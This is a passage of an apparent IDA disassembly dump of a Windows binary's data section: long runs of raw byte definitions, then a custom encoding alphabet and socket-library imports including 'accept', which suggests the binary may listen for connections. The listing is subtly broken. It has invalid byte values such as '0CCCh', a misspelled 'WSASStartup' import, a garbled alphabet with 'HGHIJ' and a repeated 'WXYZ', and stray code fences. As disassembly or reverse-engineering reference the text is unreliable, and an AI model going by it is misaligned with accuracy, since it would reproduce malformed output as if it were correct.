.data:004093D5      db 0A9h ; ñ
.data:004093D6      db 0E4h ; S
.data:004093D7      db 80h ; Ç
.data:004093D8      db 1 ;
.data:004093D9      db 86h ; å
.data:004093DA      db 0B0h ; /
.data:004093DB      db 87h ; ç
.data:004093DC      db 0ADh ; i
.data:004093DD      db 0E6h ; µ
.data:004093DE      db 9 ;
.data:004093DF      db 9Bh ; ç
.data:004093E0      db 93h ; ó
.data:004093E1      db 0E5h ; s
.data:004093E2      db 3Eh ; >
.data:004093E3      db 3Bh ; ;
.data:004093E4      db 5Ah ; Z
.data:004093E5      db 0FDh ; ?
.data:004093E6      db 90h ; Ě
.data:004093E7      db 0E9h ; T

```

```

.data:004093E8      db  97h ; ù
.data:004093E9      db 0D7h ; +
.data:004093EA      db  34h ; 4
.data:004093EB      db  9Eh ; P
.data:004093EC      db 0D9h ; +
.data:004093ED      db 0B7h ; +
.data:004093EE      db 0F0h ; =
.data:004093EF      db  2Ch ; ,
.data:004093F0      db  51h ; Q
.data:004093F1      db  8Bh ; i
.data:004093F2      db  2Bh ; +
.data:004093F3      db   2 ;
.data:004093F4      db  3Ah ; :
.data:004093F5      db 0ACh ; ¼
.data:004093F6      db 0D5h ; +
.data:004093F7      db  96h ; û
.data:004093F8      db  7Dh ; }
.data:004093F9      db 0A6h ; a
.data:004093FA      db  7Dh ; }
.data:004093FB      db   1 ;
.data:004093FC      db 0D6h ; +
.data:004093FD      db  3Eh ; >
.data:004093FE      db 0CFh ; -
.data:004093FF      db 0D1h ; -
.data:00409400      db  28h ; (
.data:00409401      db  2Dh ; -
.data:00409402      db  7Dh ; }
.data:00409403      db  7Ch ; /
.data:00409404      db 0CFh ; -
.data:00409405      db  25h ; %
.data:00409406      db  9Fh ; f
.data:00409407      db  1Fh ;
.data:00409408      db  9Bh ; ç
.data:00409409      db 0B8h ; +
.data:0040940A      db 0F2h ; =
.data:0040940B      db 0ADh ; i
.data:0040940C      db  72h ; r
.data:0040940D      db 0B4h ; /
.data:0040940E      db 0D6h ; +
.data:0040940F      db  5Ah ; Z
.data:00409410      db  4Ch ; L
.data:00409411      db 0F5h ; )
.data:00409412      db  88h ; ê
.data:00409413      db  5Ah ; Z
.data:00409414      db  71h ; q
.data:00409415      db 0ACh ; ¼
.data:00409416      db  29h ; )
.data:00409417      db 0E0h ; a
.data:00409418      db 0E6h ; µ
.data:00409419      db 0A5h ; Ñ
.data:0040941A      db  19h ;
.data:0040941B      db 0E0h ; a
.data:0040941C      db 0FDh ; ?
.data:0040941D      db 0ACh ; ¼
.data:0040941E      db 0B0h ; /
.data:0040941F      db  47h ; G
.data:00409420      db  9Bh ; ç
.data:00409421      db 0FAh ; ·
.data:00409422      db  93h ; ô
.data:00409423      db 0EDh ; f
.data:00409424      db  8Dh ; ì
.data:00409425      db 0C4h ; -
.data:00409426      db 0D3h ; +
.data:00409427      db 0E8h ; F
.data:00409428      db 0CCh ; /
.data:00409429      db  57h ; W
.data:0040942A      db  3Bh ; ;
.data:0040942B      db  28h ; (
.data:0040942C      db  29h ; )
.data:0040942D      db  66h ; f

```

```

.data:0040942E      db 0D5h ; +
.data:0040942F      db 0F8h ; °
.data:00409430      db 28h ; (
.data:00409431      db 2Eh ; .
.data:00409432      db 13h ;
.data:00409433      db 79h ; y
.data:00409434      db 91h ; æ
.data:00409435      db 1 ;
.data:00409436      db 5Fh ; _
.data:00409437      db 78h ; x
.data:00409438      db 55h ; U
.data:00409439      db 60h ; `
.data:0040943A      db 75h ; u
.data:0040943B      db 0EDh ; f
.data:0040943C      db 44h ; D
.data:0040943D      db 0Eh ;
.data:0040943E      db 96h ; û
.data:0040943F      db 0F7h ; ~
.data:00409440      db 8Ch ; î
.data:00409441      db 5Eh ; ^
.data:00409442      db 0D3h ; +
.data:00409443      db 0E3h ; p
.data:00409444      db 0D4h ; +
.data:00409445      db 6Dh ; m
.data:00409446      db 5 ;
.data:00409447      db 15h ;
.data:00409448      db 0BAh ; /
.data:00409449      db 6Dh ; m
.data:0040944A      db 0F4h ; (
.data:0040944B      db 88h ; ê
.data:0040944C      db 25h ; %
.data:0040944D      db 61h ; a
.data:0040944E      db 0A1h ; í
.data:0040944F      db 3 ;
.data:00409450      db 0BDh ; +
.data:00409451      db 0F0h ; =
.data:00409452      db 64h ; d
.data:00409453      db 5 ;
.data:00409454      db 15h ;
.data:00409455      db 9Eh ; P
.data:00409456      db 0EBh ; d
.data:00409457      db 0C3h ; +
.data:00409458      db 0A2h ; ó
.data:00409459      db 57h ; W
.data:0040945A      db 90h ; Ě
.data:0040945B      db 3Ch ; <
.data:0040945C      db 0ECh ; 8
.data:0040945D      db 1Ah ;
.data:0040945E      db 27h ; '
.data:0040945F      db 97h ; ù
.data:00409460      db 2Ah ; *
.data:00409461      db 7 ;
.data:00409462      db 3Ah ; :
.data:00409463      db 0A9h ; ¬
.data:00409464      db 9Bh ; ¢
.data:00409465      db 6Dh ; m
.data:00409466      db 3Fh ; ?
.data:00409467      db 1Bh ;
.data:00409468      db 0F5h ; )
.data:00409469      db 21h ; !
.data:0040946A      db 63h ; c
.data:0040946B      db 1Eh ;
.data:0040946C      db 0FBh ; v
.data:0040946D      db 66h ; f
.data:0040946E      db 9Ch ; £
.data:0040946F      db 0F5h ; )
.data:00409470      db 19h ;
.data:00409471      db 0F3h ; =
.data:00409472      db 0DCh ; _
.data:00409473      db 26h ; &

```

```

.data:00409474      db  28h ; (
.data:00409475      db  0D9h ; +
.data:00409476      db  33h ; 3
.data:00409477      db  75h ; u
.data:00409478      db  0F5h ; )
.data:00409479      db  0FDh ; ?
.data:0040947A      db  55h ; U
.data:0040947B      db  0B1h ; /
.data:0040947C      db  82h ; é
.data:0040947D      db  34h ; 4
.data:0040947E      db  56h ; V
.data:0040947F      db   3 ;
.data:00409480      db  0BBh ; +
.data:00409481      db  3Ch ; <
.data:00409482      db  0BAh ; /
.data:00409483      db  8Ah ; è
.data:00409484      db  11h ;
.data:00409485      db  77h ; w
.data:00409486      db  51h ; Q
.data:00409487      db  28h ; (
.data:00409488      db  0F8h ; °
.data:00409489      db  0D9h ; +
.data:0040948A      db  0Ah ;
.data:0040948B      db  0C2h ; -
.data:0040948C      db  67h ; g
.data:0040948D      db  51h ; Q
.data:0040948E      db  0CCh ; /
.data:0040948F      db  0ABh ; ½
.data:00409490      db  5Fh ; _
.data:00409491      db  92h ; Æ
.data:00409492      db  0ADh ; i
.data:00409493      db  0CCh ; /
.data:00409494      db  51h ; Q
.data:00409495      db  17h ;
.data:00409496      db  0E8h ; F
.data:00409497      db  4Dh ; M
.data:00409498      db  8Eh ; Ä
.data:00409499      db  0DCh ; _
.data:0040949A      db  30h ; 0
.data:0040949B      db  38h ; 8
.data:0040949C      db  62h ; b
.data:0040949D      db  58h ; X
.data:0040949E      db  9Dh ; ¥
.data:0040949F      db  37h ; 7
.data:004094A0      db  91h ; æ
.data:004094A1      db  0F9h ; ·
.data:004094A2      db  20h ;
.data:004094A3      db  93h ; ô
.data:004094A4      db  0C2h ; -
.data:004094A5      db  90h ; Ē
.data:004094A6      db  7Ah ; z
.data:004094A7      db  0EAh ; O
.data:004094A8      db  0CEh ; +
.data:004094A9      db  7Bh ; {
.data:004094AA      db  3Eh ; >
.data:004094AB      db  0FBh ; v
.data:004094AC      db  64h ; d
.data:004094AD      db  0CEh ; +
.data:004094AE      db  21h ; !
.data:004094AF      db  51h ; Q
.data:004094B0      db  32h ; 2
.data:004094B1      db  0BEh ; +
.data:004094B2      db  4Fh ; O
.data:004094B3      db  77h ; w
.data:004094B4      db  7Eh ; ~
.data:004094B5      db  0E3h ; p
.data:004094B6      db  0B6h ; /
.data:004094B7      db  0A8h ; ç
.data:004094B8      db  46h ; F
.data:004094B9      db  3Dh ; =

```



```

.data:004094BA      db  29h ; )
.data:004094BB      db 0C3h ; +
.data:004094BC      db  69h ; i
.data:004094BD      db  53h ; S
.data:004094BE      db 0DEh ; /
.data:004094BF      db  48h ; H
.data:004094C0      db  80h ; Ç
.data:004094C1      db 0E6h ; µ
.data:004094C2      db  13h ;
.data:004094C3      db  64h ; d
.data:004094C4      db  10h ;
.data:004094C5      db   8 ;
.data:004094C6      db 0AEh ; «
.data:004094C7      db 0A2h ; ó
.data:004094C8      db  24h ; $
.data:004094C9      db 0B2h ; /
.data:004094CA      db  6Dh ; m
.data:004094CB      db 0DDh ; /
.data:004094CC      db 0FDh ; ²
.data:004094CD      db  2Dh ; -
.data:004094CE      db  85h ; à
.data:004094CF      db  69h ; i
.data:004094D0      db  66h ; f
.data:004094D1      db  21h ; !
.data:004094D2      db   7 ;
.data:004094D3      db   9 ;
.data:004094D4      db  0Ah ;
.data:004094D5      db  46h ; F
.data:004094D6      db  9Ah ; Ü
.data:004094D7      db 0B3h ; /
.data:004094D8      db 0DDh ; /
.data:004094D9      db 0C0h ; +
.data:004094DA      db  45h ; E
.data:004094DB      db  64h ; d
.data:004094DC      db 0CFh ; -
.data:004094DD      db 0DEh ; /
.data:004094DE      db  6Ch ; l
.data:004094DF      db  58h ; X
.data:004094E0      db 0AEh ; «
.data:004094E1      db 0C8h ; +
.data:004094E2      db  20h ;
.data:004094E3      db  1Ch ;
.data:004094E4      db 0DDh ; /
.data:004094E5      db 0F7h ; ~
.data:004094E6      db 0BEh ; +
.data:004094E7      db  5Bh ; [
.data:004094E8      db  40h ; @
.data:004094E9      db  8Dh ; ì
.data:004094EA      db  58h ; X
.data:004094EB      db  1Bh ;
.data:004094EC      db  7Fh ; •
.data:004094ED      db   1 ;
.data:004094EE      db 0D2h ; -
.data:004094EF      db 0CCh ; /
.data:004094F0      db 0BBh ; +
.data:004094F1      db 0E3h ; p
.data:004094F2      db 0B4h ; /
.data:004094F3      db  6Bh ; k
.data:004094F4      db  7Eh ; ~
.data:004094F5      db  6Ah ; j
.data:004094F6      db 0A2h ; ó
.data:004094F7      db 0DDh ; /
.data:004094F8      db  45h ; E
.data:004094F9      db 0FFh ;
.data:004094FA      db  59h ; Y
.data:004094FB      db  3Ah ; :
.data:004094FC      db  44h ; D
.data:004094FD      db  0Ah ;
.data:004094FE      db  35h ; 5
.data:004094FF      db  3Eh ; >

```

```

.data:00409500      db 0D5h ; +
.data:00409501      db 0CDh ; -
.data:00409502      db 0B4h ; /
.data:00409503      db 0ECh ; +
.data:00409504      db 0A8h ; z
.data:00409505      db 0CEh ; +
.data:00409506      db 0EAh ; O
.data:00409507      db 72h ; r
.data:00409508      db 0BBh ; +
.data:00409509      db 84h ; ä
.data:0040950A      db 64h ; d
.data:0040950B      db 0FAh ; ·
.data:0040950C      db 0AEh ; «
.data:0040950D      db 12h ;
.data:0040950E      db 66h ; f
.data:0040950F      db 8Dh ; ì
.data:00409510      db 47h ; G
.data:00409511      db 6Fh ; o
.data:00409512      db 3Ch ; <
.data:00409513      db 0BFh ; +
.data:00409514      db 63h ; c
.data:00409515      db 0E4h ; S
.data:00409516      db 9Bh ; ç
.data:00409517      db 0D2h ; -
.data:00409518      db 9Eh ; P
.data:00409519      db 5Dh ; ]
.data:0040951A      db 2Fh ; /
.data:0040951B      db 54h ; T
.data:0040951C      db 1Bh ;
.data:0040951D      db 77h ; w
.data:0040951E      db 0C2h ; -
.data:0040951F      db 0AEh ; «
.data:00409520      db 70h ; p
.data:00409521      db 63h ; c
.data:00409522      db 4Eh ; N
.data:00409523      db 0F6h ; ÷
.data:00409524      db 8Dh ; ì
.data:00409525      db 0Dh ;
.data:00409526      db 0Eh ;
.data:00409527      db 74h ; t
.data:00409528      db 57h ; W
.data:00409529      db 13h ;
.data:0040952A      db 5Bh ; [
.data:0040952B      db 0E7h ; t
.data:0040952C      db 71h ; q
.data:0040952D      db 16h ;
.data:0040952E      db 72h ; r
.data:0040952F      db 0F8h ; °
.data:00409530      db 5Dh ; ]
.data:00409531      db 7Dh ; }
.data:00409532      db 53h ; S
.data:00409533      db 0AFh ; »
.data:00409534      db 8 ;
.data:00409535      db 0CBh ; -
.data:00409536      db 40h ; @
.data:00409537      db 40h ; @
.data:00409538      db 0CCh ; /
.data:00409539      db 0E2h ; G
.data:0040953A      db 0B4h ; /
.data:0040953B      db 4Eh ; N
.data:0040953C      db 6Ah ; j
.data:0040953D      db 46h ; F
.data:0040953E      db 0D2h ; -
.data:0040953F      db 34h ; 4
.data:00409540      db 84h ; ä
.data:00409541      db 0AFh ; »
.data:00409542      db 15h ;
.data:00409543      db 1 ;
.data:00409544      db 28h ; (
.data:00409545      db 4 ;

```

```

.data:00409546      db 0E0h ; /
.data:00409547      db 0E1h ; ß
.data:00409548      db 1Dh ;
.data:00409549      db 3Ah ; :
.data:0040954A      db 98h ; Ÿ
.data:0040954B      db 95h ; ò
.data:0040954C      db 0B4h ; /
.data:0040954D      db 9Fh ; f
.data:0040954E      db 0B8h ; +
.data:0040954F      db 6 ;
.data:00409550      db 48h ; H
.data:00409551      db 0A0h ; á
.data:00409552      db 6Eh ; n
.data:00409553      db 0CEh ; +
.data:00409554      db 82h ; é
.data:00409555      db 3Bh ; ;
.data:00409556      db 3Fh ; ?
.data:00409557      db 6Fh ; o
.data:00409558      db 82h ; é
.data:00409559      db 0ABh ; ½
.data:0040955A      db 20h ;
.data:0040955B      db 35h ; 5
.data:0040955C      db 4Bh ; K
.data:0040955D      db 1Dh ;
.data:0040955E      db 1Ah ;
.data:0040955F      db 1 ;
.data:00409560      db 0F8h ; °
.data:00409561      db 27h ; '
.data:00409562      db 72h ; r
.data:00409563      db 27h ; '
.data:00409564      db 0B1h ; /
.data:00409565      db 60h ; \
.data:00409566      db 15h ;
.data:00409567      db 61h ; a
.data:00409568      db 0DCh ; _
.data:00409569      db 3Fh ; ?
.data:0040956A      db 93h ; ô
.data:0040956B      db 0E7h ; t
.data:0040956C      db 2Bh ; +
.data:0040956D      db 79h ; y
.data:0040956E      db 3Ah ; :
.data:0040956F      db 0BBh ; +
.data:00409570      db 0BDh ; +
.data:00409571      db 25h ; %
.data:00409572      db 45h ; E
.data:00409573      db 34h ; 4
.data:00409574      db 0E1h ; ß
.data:00409575      db 39h ; 9
.data:00409576      db 88h ; ê
.data:00409577      db 0A0h ; á
.data:00409578      db 4Bh ; K
.data:00409579      db 79h ; y
.data:0040957A      db 0CEh ; +
.data:0040957B      db 51h ; Q
.data:0040957C      db 0B7h ; +
.data:0040957D      db 0C9h ; +
.data:0040957E      db 32h ; 2
.data:0040957F      db 2Fh ; /
.data:00409580      db 0C9h ; +
.data:00409581      db 0BAh ; /
.data:00409582      db 1Fh ;
.data:00409583      db 0A0h ; á
.data:00409584      db 7Eh ; ~
.data:00409585      db 0C8h ; +
.data:00409586      db 1Ch ;
.data:00409587      db 0E0h ; a
.data:00409588      db 0F6h ; ÷
.data:00409589      db 0D1h ; -
.data:0040958A      db 0C7h ; /
.data:0040958B      db 0BCh ; +

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```

.data:0040958C      db 0C3h ; +
.data:0040958D      db 11h ;
.data:0040958E      db 1 ;
.data:0040958F      db 0CFh ; -
.data:00409590      db 0C7h ; /
.data:00409591      db 0AAh ; ¬
.data:00409592      db 0E8h ; F
.data:00409593      db 0A1h ; í
.data:00409594      db 49h ; I
.data:00409595      db 87h ; Ç
.data:00409596      db 90h ; Ē
.data:00409597      db 1Ah ;
.data:00409598      db 9Ah ; Ū
.data:00409599      db 0BDh ; +
.data:0040959A      db 4Fh ; O
.data:0040959B      db 0D4h ; +
.data:0040959C      db 0CBh ; -
.data:0040959D      db 0DEh ; /
.data:0040959E      db 0DAh ; +
.data:0040959F      db 0D0h ; -
.data:004095A0      db 38h ; 8
.data:004095A1      db 0DAh ; +
.data:004095A2      db 0Ah ;
.data:004095A3      db 0D5h ; +
.data:004095A4      db 2Ah ; *
.data:004095A5      db 0C3h ; +
.data:004095A6      db 39h ; 9
.data:004095A7      db 3 ;
.data:004095A8      db 67h ; g
.data:004095A9      db 36h ; 6
.data:004095AA      db 91h ; æ
.data:004095AB      db 0C6h ; /
.data:004095AC      db 7Ch ; /
.data:004095AD      db 31h ; 1
.data:004095AE      db 0F9h ; ·
.data:004095AF      db 8Dh ; ì
.data:004095B0      db 4Fh ; O
.data:004095B1      db 2Bh ; +
.data:004095B2      db 0B1h ; /
.data:004095B3      db 0E0h ; a
.data:004095B4      db 0B7h ; +
.data:004095B5      db 59h ; Y
.data:004095B6      db 9Eh ; P
.data:004095B7      db 0F7h ; ~
.data:004095B8      db 3Ah ; :
.data:004095B9      db 0BBh ; +
.data:004095BA      db 0F5h ; )
.data:004095BB      db 43h ; C
.data:004095BC      db 0FFh ;
.data:004095BD      db 19h ;
.data:004095BE      db 0D5h ; +
.data:004095BF      db 0F2h ; =
.data:004095C0      db 9Ch ; £
.data:004095C1      db 45h ; E
.data:004095C2      db 0D9h ; +
.data:004095C3      db 27h ; '
.data:004095C4      db 2Ch ; ,
.data:004095C5      db 22h ; "
.data:004095C6      db 97h ; ù
.data:004095C7      db 0BFh ; +
.data:004095C8      db 2Ah ; *
.data:004095C9      db 0FCh ; n
.data:004095CA      db 0E6h ; µ
.data:004095CB      db 15h ;
.data:004095CC      db 71h ; q
.data:004095CD      db 0FCh ; n
.data:004095CE      db 91h ; æ
.data:004095CF      db 0Fh ;
.data:004095D0      db 25h ; %
.data:004095D1      db 15h ;

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```

.data:004095D2      db  94h ; ö
.data:004095D3      db  9Bh ; ç
.data:004095D4      db  61h ; a
.data:004095D5      db  93h ; ô
.data:004095D6      db  0E5h ; s
.data:004095D7      db  0FAh ; ·
.data:004095D8      db  0EBh ; d
.data:004095D9      db  9Ch ; £
.data:004095DA      db  0B6h ; /
.data:004095DB      db  0CEh ; +
.data:004095DC      db  59h ; Y
.data:004095DD      db  64h ; d
.data:004095DE      db  0A8h ; ç
.data:004095DF      db  0C2h ; -
.data:004095E0      db  0D1h ; -
.data:004095E1      db  0A8h ; ç
.data:004095E2      db  0BAh ; /
.data:004095E3      db  12h ;
.data:004095E4      db  5Eh ; ^
.data:004095E5      db  7 ;
.data:004095E6      db  0C1h ; -
.data:004095E7      db  0B6h ; /
.data:004095E8      db  0Ch ;
.data:004095E9      db  6Ah ; j
.data:004095EA      db  5 ;
.data:004095EB      db  0E3h ; p
.data:004095EC      db  65h ; e
.data:004095ED      db  50h ; P
.data:004095EE      db  0D2h ; -
.data:004095EF      db  10h ;
.data:004095F0      db  42h ; B
.data:004095F1      db  0A4h ; ñ
.data:004095F2      db  3 ;
.data:004095F3      db  0CBh ; -
.data:004095F4      db  0Eh ;
.data:004095F5      db  6Eh ; n
.data:004095F6      db  0ECh ; 8
.data:004095F7      db  0E0h ; a
.data:004095F8      db  3Bh ; ;
.data:004095F9      db  0DBh ; /
.data:004095FA      db  98h ; Ÿ
.data:004095FB      db  16h ;
.data:004095FC      db  0BEh ; +
.data:004095FD      db  0A0h ; á
.data:004095FE      db  98h ; Ÿ
.data:004095FF      db  4Ch ; L
.data:00409600      db  64h ; d
.data:00409601      db  0E9h ; T
.data:00409602      db  78h ; x
.data:00409603      db  32h ; 2
.data:00409604      db  32h ; 2
.data:00409605      db  95h ; ò
.data:00409606      db  1Fh ;
.data:00409607      db  9Fh ; f
.data:00409608      db  0DFh ; -
.data:00409609      db  92h ; Æ
.data:0040960A      db  0D3h ; +
.data:0040960B      db  0E0h ; a
.data:0040960C      db  2Bh ; +
.data:0040960D      db  34h ; 4
.data:0040960E      db  0A0h ; á
.data:0040960F      db  0D3h ; +
.data:00409610      db  1Eh ;
.data:00409611      db  0F2h ; =
.data:00409612      db  71h ; q
.data:00409613      db  89h ; è
.data:00409614      db  41h ; A
.data:00409615      db  74h ; t
.data:00409616      db  0Ah ;
.data:00409617      db  1Bh ;

```

```

.data:00409618      db  8Ch ; i
.data:00409619      db  34h ; 4
.data:0040961A      db  0A3h ; ú
.data:0040961B      db  4Bh ; K
.data:0040961C      db  20h ;
.data:0040961D      db  71h ; q
.data:0040961E      db  0BEh ; +
.data:0040961F      db  0C5h ; +
.data:00409620      db  0D8h ; +
.data:00409621      db  32h ; 2
.data:00409622      db  76h ; v
.data:00409623      db  0C3h ; +
.data:00409624      db  8Dh ; ì
.data:00409625      db  9Fh ; f
.data:00409626      db  35h ; 5
.data:00409627      db  0DFh ; -
.data:00409628      db  2Eh ; .
.data:00409629      db  2Fh ; /
.data:0040962A      db  99h ; Ö
.data:0040962B      db  9Bh ; ç
.data:0040962C      db  47h ; G
.data:0040962D      db  6Fh ; o
.data:0040962E      db  0Bh ;
.data:0040962F      db  0E6h ; µ
.data:00409630      db  1Dh ;
.data:00409631      db  0F1h ; ±
.data:00409632      db  0E3h ; p
.data:00409633      db  0Fh ;
.data:00409634      db  54h ; T
.data:00409635      db  0DAh ; +
.data:00409636      db  4Ch ; L
.data:00409637      db  0E5h ; s
.data:00409638      db  91h ; æ
.data:00409639      db  0D8h ; +
.data:0040963A      db  0DAh ; +
.data:0040963B      db  1Eh ;
.data:0040963C      db  0CFh ; -
.data:0040963D      db  79h ; y
.data:0040963E      db  62h ; b
.data:0040963F      db  0CEh ; +
.data:00409640      db  6Fh ; o
.data:00409641      db  7Eh ; ~
.data:00409642      db  3Eh ; >
.data:00409643      db  0CDh ; -
.data:00409644      db  66h ; f
.data:00409645      db  0B1h ; /
.data:00409646      db  18h ;
.data:00409647      db  16h ;
.data:00409648      db  5 ;
.data:00409649      db  1Dh ;
.data:0040964A      db  2Ch ; ,
.data:0040964B      db  0FDh ; ²
.data:0040964C      db  0C5h ; +
.data:0040964D      db  0D2h ; -
.data:0040964E      db  8Fh ; Å
.data:0040964F      db  84h ; ä
.data:00409650      db  99h ; Ö
.data:00409651      db  22h ; "
.data:00409652      db  0FBh ; v
.data:00409653      db  0F6h ; ÷
.data:00409654      db  57h ; W
.data:00409655      db  0F3h ; =
.data:00409656      db  23h ; #
.data:00409657      db  0F5h ; )
.data:00409658      db  23h ; #
.data:00409659      db  76h ; v
.data:0040965A      db  32h ; 2
.data:0040965B      db  0A6h ; a
.data:0040965C      db  31h ; l
.data:0040965D      db  35h ; 5

```

```

.data:0040965E      db 0A8h ; ç
.data:0040965F      db 93h ; ô
.data:00409660      db 2 ;
.data:00409661      db 0CDh ; -
.data:00409662      db 0CCCh ; /
.data:00409663      db 56h ; V
.data:00409664      db 62h ; b
.data:00409665      db 81h ; ü
.data:00409666      db 0F0h ; =
.data:00409667      db 0ACh ; ¼
.data:00409668      db 0B5h ; /
.data:00409669      db 0EBh ; d
.data:0040966A      db 75h ; u
.data:0040966B      db 5Ah ; Z
.data:0040966C      db 97h ; ù
.data:0040966D      db 36h ; 6
.data:0040966E      db 16h ;
.data:0040966F      db 6Eh ; n
.data:00409670      db 0CCCh ; /
.data:00409671      db 73h ; s
.data:00409672      db 0D2h ; -
.data:00409673      db 88h ; ê
.data:00409674      db 92h ; Æ
.data:00409675      db 62h ; b
.data:00409676      db 96h ; û
.data:00409677      db 0DEh ; /
.data:00409678      db 0D0h ; -
.data:00409679      db 49h ; I
.data:0040967A      db 0B9h ; /
.data:0040967B      db 81h ; ü
.data:0040967C      db 1Bh ;
.data:0040967D      db 90h ; Ě
.data:0040967E      db 50h ; P
.data:0040967F      db 4Ch ; L
.data:00409680      db 14h ;
.data:00409681      db 56h ; V
.data:00409682      db 0C6h ; /
.data:00409683      db 71h ; q
.data:00409684      db 0BDh ; +
.data:00409685      db 0C7h ; /
.data:00409686      db 0C6h ; /
.data:00409687      db 0E6h ; μ
.data:00409688      db 0Ah ;
.data:00409689      db 14h ;
.data:0040968A      db 7Ah ; z
.data:0040968B      db 32h ; 2
.data:0040968C      db 6 ;
.data:0040968D      db 0D0h ; -
.data:0040968E      db 0E1h ; ß
.data:0040968F      db 45h ; E
.data:00409690      db 9Ah ; Ů
.data:00409691      db 7Bh ; {
.data:00409692      db 0F2h ; =
.data:00409693      db 0C3h ; +
.data:00409694      db 0FDh ; ²
.data:00409695      db 53h ; S
.data:00409696      db 0AAh ; ɿ
.data:00409697      db 0C9h ; +
.data:00409698      db 0 ;
.data:00409699      db 0Fh ;
.data:0040969A      db 0A8h ; ç
.data:0040969B      db 62h ; b
.data:0040969C      db 0E2h ; G
.data:0040969D      db 0BFh ; +
.data:0040969E      db 25h ; %
.data:0040969F      db 0BBh ; +
.data:004096A0      db 0F6h ; ÷
.data:004096A1      db 0D2h ; -
.data:004096A2      db 0BDh ; +
.data:004096A3      db 35h ; 5

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.data:004096A4      db      5 ;
.data:004096A5      db      69h ; i
.data:004096A6      db      12h ;
.data:004096A7      db      71h ; q
.data:004096A8      db      22h ; "
.data:004096A9      db      2 ;
.data:004096AA      db      4 ;
.data:004096AB      db      0B2h ; /
.data:004096AC      db      7Ch ; /
.data:004096AD      db      0CFh ; -
.data:004096AE      db      0CBh ; -
.data:004096AF      db      0B6h ; /
.data:004096B0      db      2Bh ; +
.data:004096B1      db      9Ch ; £
.data:004096B2      db      76h ; v
.data:004096B3      db      0CDh ; -
.data:004096B4      db      0C0h ; +
.data:004096B5      db      3Eh ; >
.data:004096B6      db      11h ;
.data:004096B7      db      53h ; S
.data:004096B8      db      0D3h ; +
.data:004096B9      db      0E3h ; p
.data:004096BA      db      40h ; @
.data:004096BB      db      16h ;
.data:004096BC      db      60h ; `
.data:004096BD      db      0BDh ; +
.data:004096BE      db      0ABh ; ½
.data:004096BF      db      38h ; 8
.data:004096C0      db      0F0h ; =
.data:004096C1      db      0ADh ; i
.data:004096C2      db      47h ; G
.data:004096C3      db      25h ; %
.data:004096C4      db      9Ch ; £
.data:004096C5      db      20h ;
.data:004096C6      db      38h ; 8
.data:004096C7      db      0BAh ; /
.data:004096C8      db      76h ; v
.data:004096C9      db      0CEh ; +
.data:004096CA      db      46h ; F
.data:004096CB      db      0F7h ; ~
.data:004096CC      db      0C5h ; +
.data:004096CD      db      0A1h ; í
.data:004096CE      db      0AFh ; »
.data:004096CF      db      77h ; w
.data:004096D0      db      60h ; `
.data:004096D1      db      60h ; `
.data:004096D2      db      75h ; u
.data:004096D3      db      20h ;
.data:004096D4      db      4Eh ; N
.data:004096D5      db      0FEh ; /
.data:004096D6      db      0CBh ; -
.data:004096D7      db      85h ; à
.data:004096D8      db      0D8h ; +
.data:004096D9      db      8Dh ; ì
.data:004096DA      db      0E8h ; F
.data:004096DB      db      8Ah ; è
.data:004096DC      db      0B0h ; /
.data:004096DD      db      0F9h ; ·
.data:004096DE      db      0AAh ; ¬
.data:004096DF      db      7Ah ; z
.data:004096E0      db      7Eh ; ~
.data:004096E1      db      0AAh ; ¬
.data:004096E2      db      0F9h ; ·
.data:004096E3      db      4Ch ; L
.data:004096E4      db      5Ch ; \
.data:004096E5      db      0C2h ; -
.data:004096E6      db      48h ; H
.data:004096E7      db      19h ;
.data:004096E8      db      8Ch ; î
.data:004096E9      db      8Ah ; è

```



```

.data:004096EA      db 0FBh ; v
.data:004096EB      db 2 ;
.data:004096EC      db 0E4h ; S
.data:004096ED      db 6Ah ; j
.data:004096EE      db 0C3h ; +
.data:004096EF      db 1 ;
.data:004096F0      db 0F9h ; .
.data:004096F1      db 0E1h ; ß
.data:004096F2      db 0EBh ; d
.data:004096F3      db 0D6h ; +
.data:004096F4      db 69h ; i
.data:004096F5      db 0F8h ; °
.data:004096F6      db 0D4h ; +
.data:004096F7      db 90h ; Ē
.data:004096F8      db 0A0h ; á
.data:004096F9      db 0DEh ; /
.data:004096FA      db 5Ch ; \
.data:004096FB      db 0A6h ; a
.data:004096FC      db 2Dh ; -
.data:004096FD      db 25h ; %
.data:004096FE      db 9 ;
.data:004096FF      db 3Fh ; ?
.data:00409700      db 9Fh ; f
.data:00409701      db 0E6h ; μ
.data:00409702      db 8 ;
.data:00409703      db 0C2h ; -
.data:00409704      db 32h ; 2
.data:00409705      db 61h ; a
.data:00409706      db 4Eh ; N
.data:00409707      db 0B7h ; +
.data:00409708      db 5Bh ; [
.data:00409709      db 0E2h ; G
.data:0040970A      db 77h ; w
.data:0040970B      db 0CEh ; +
.data:0040970C      db 0E3h ; p
.data:0040970D      db 0DFh ; -
.data:0040970E      db 8Fh ; Å
.data:0040970F      db 57h ; W
.data:00409710      db 0E6h ; μ
.data:00409711      db 72h ; r
.data:00409712      db 0C3h ; +
.data:00409713      db 3Ah ; :
.data:00409714      dword_409714      dd 409718h ; DATA XREF: sub_40517A+2•r
.data:00409714      ; ; sub_40519B+16D•r ...
.data:00409718      a_0123456789abc      db './0123456789abcdefghijklmnopqrstuvwxyABCDEFHGHIJKLMNOPQRSTUVWXYZ'
.data:00409718      db 'WXYZ',0
.data:00409759      align 4
.data:00409759      _data      ends
.data:00409759
.idata:0040A1D8 ;
.idata:0040A1D8 ; Imports from WS2_32.DLL
.idata:0040A1D8 ;
.idata:0040A1D8 ; Section 5. (virtual address 0000A000)
.idata:0040A1D8 ; Virtual size : 000006A6 ( 1702.)
.idata:0040A1D8 ; Section size in file : 000006A6 ( 1702.)
.idata:0040A1D8 ; Offset to raw data for section: 00006800
.idata:0040A1D8 ; Flags C0000060: Text Data Readable Writable
.idata:0040A1D8 ; Alignment : 16 bytes ?
.idata:0040A1D8 ; -----
.idata:0040A1D8 ; Segment type: Externs
.idata:0040A1D8 ; _idata
.idata:0040A1D8 ; int __imp_WSACleanup(void)
.idata:0040A1D8 ; extrn __imp_WSACleanup:dword ; DATA XREF: WSACleanup•r
.idata:0040A1DC ; int __stdcall __imp_WSASStartup(WORD wVersionRequested,LPWSADATA lpWSADATA)
.idata:0040A1DC ; extrn __imp_WSASStartup:dword ; DATA XREF: WSASStartup•r
.idata:0040A1E0
.idata:0040A1E4
.idata:0040A1E8 ;
.idata:0040A1E8 ; Imports from wsock32.dll

```

```

.idata:0040A1E8 ;
.idata:0040A1E8 ; SOCKET __stdcall __imp_accept(SOCKET s,struct sockaddr *addr,int *addrlen)
